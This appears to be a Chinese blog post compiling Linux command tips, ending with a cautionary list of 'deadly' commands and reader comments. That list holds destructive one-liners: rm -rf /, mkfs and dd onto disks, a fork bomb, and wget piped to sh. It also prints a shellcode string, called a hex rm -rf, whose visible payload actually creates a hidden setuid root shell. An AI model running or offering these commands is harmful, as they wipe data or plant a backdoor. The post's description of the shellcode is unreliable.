实用的一行 Linux 命令
- 创建存档文件
tar -czpf folder_name.tar.gz folder_name
该命令将 folder_name 创建为 folder_name.tar.gz 存档文件。 - 递归查找文件内的字符串
find ./ -name ‘*.html’ -exec grep “breadcrumbs.inc.php” ‘{}’ \; -print
这条命令将查找所有包含 breadcrumbs.inc.php 的 HTML 文件。 - 搜索并替换文件里的内容
sed -i ’s/b/strong/g’ index.html
此命令搜索 index.html 文件中的 b 并将其替换为 strong, 或者 sed -e ‘s/b/strong/g‘ index.html。 - 查看目录的磁盘占用情况
du -h --max-depth=1 | sort -n -r 或者 du -hs 或者 du -h --max-depth=1 | sort -h -r 把sort的-n 换成-h 更好一点,按大小排序。
-
grep -ri "test string" *.html递归查找文件内的字符 这样更简单。
你从未用过的 10 条 Linux 命令
- pgrep:比如,你可以使用
pgrep -u root
来代替ps -ef | egrep ‘^root ‘ | awk ‘{print $2}‘
,以便抓取属于 root 的 PID。 - pstree:我觉得这个命令很酷,它可以直接列出进程树,或者换句话说是按照树状结构来列出进程。
- bc:这个命令在我的系统中没有找到,可能需要安装。这是用来执行计算的一个命令,如使用它来开平方根。
- split:这是一个很有用的命令,它可以将一个大文件分割成几个小的部分。比如:
split -b 2m largefile LF_
会将 largefile 分割成带有 LF 文件名前缀且大小为 2 MB 的小文件。 - nl:能够显示行号的命令。在阅读脚本或代码时,这个命令应该非常有用。如:
nl wireless.h | head
。 - mkfifo:作者说这是他最喜欢的命令。该命令使得其他命令能够通过一个命名的管道进行通信。嗯,听起来有点空洞。举例说明,先创建一个管道并写入内容:
mkfifo ive-been-piped ls -al split/* | head > ive-been-piped
然后就可以读取了:
head ive-been-piped
。 - ldd:其作用是输出指定文件依赖的动态链接库。比如,通过
ldd /usr/java/jre1.5.0_11/bin/java
可以了解哪些线程库链接到了java 依赖(动态链接)了哪些库。(感谢 NetSnail 的指正。) - col:可以将 man 手册页保存为无格式的文本文件。如:
PAGER=cat man less | col -b > less.txt
- xmlwf:能够检测 XML 文档是否良好。比如:
curl -s ‘http://bashcurescancer.com‘ > bcc.html xmlwf bcc.html perl -i -pe ‘s@<br/>@<br>@g‘ bcc.html xmlwf bcc.html bcc.html:104:2: mismatched tag
- lsof:列出打开的文件。如:通过
lsof | grep TCP
可以找到打开的端口。
有用的评论:cat -n 也能显示行号,不过输出跟nl有些差别
7 个致命的 Linux 命令
-
rm -rf /
此命令将递归并强制删除 / 目录下的所有文件。 -
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
-
mkfs.ext3 /dev/sda
这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。 -
:(){ :|:& };:
著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。 -
any_command > /dev/sda
使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。 -
wget http://some_untrusted_source -O- | sh
不要从不信任的地方下载东西,这可能会获取恶意代码。 -
mv /home/yourhomedirectory/* /dev/null
此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
有用的评论:
:(){ :|:& };:
注意空格,不然照原样会报错。其实是定义了一个函数并调用:
:() { # 制造一个管道递归调用函数“:”本身,放到后台 : | : & }
:
××××××××××××××××××××××××××××××××××××××××
想想这类一刀毙命的命令还真是挺多的,比如:
dd if=/dev/zero of=/dev/sda bs=120G count=1
cat /dev/null > /dev/sda
chown -R someone /
chmod 7777 -R / (不死也搞你个浑身抢眼)
××××××××××××××××××××××××××××××××××××××××
mkfs.ext3 /dev/sda 并不是什么致命的linux命令,仅仅只是覆盖了superblock,数据并没有丢失。 可以通过parted的rescue指令来恢复原来的分区信息,数据自然就回来了。
××××××××××××××××××××××××××××××××××××××××
曾经 find / -name XXX | xargs rm -rf 使得我的系统崩溃过
××××××××××××××××××××××××××××××××××××××××
dd if=/dev/zero of=/dev/sda
××××××××××××××××××××××××××××××××××××××××
其实第二个根据反汇编的结果是"rm -rf ~ / &"
××××××××××××××××××××××××××××××××××××××××
当年我忘了先挂载就直接cp xxx.txt /dev/sda5,D盘的分区给搞没了。
××××××××××××××××××××××××××××××××××××××××
Linux 命令积累-2(从别人那里偷来的,自己留着看)7 个致命的 Linux 命令 从未用过的 10 条 Linux 命令 实用的一行 Linux 命令,布布扣,bubuko.com
Linux 命令积累-2(从别人那里偷来的,自己留着看)7 个致命的 Linux 命令 从未用过的 10 条 Linux 命令 实用的一行 Linux 命令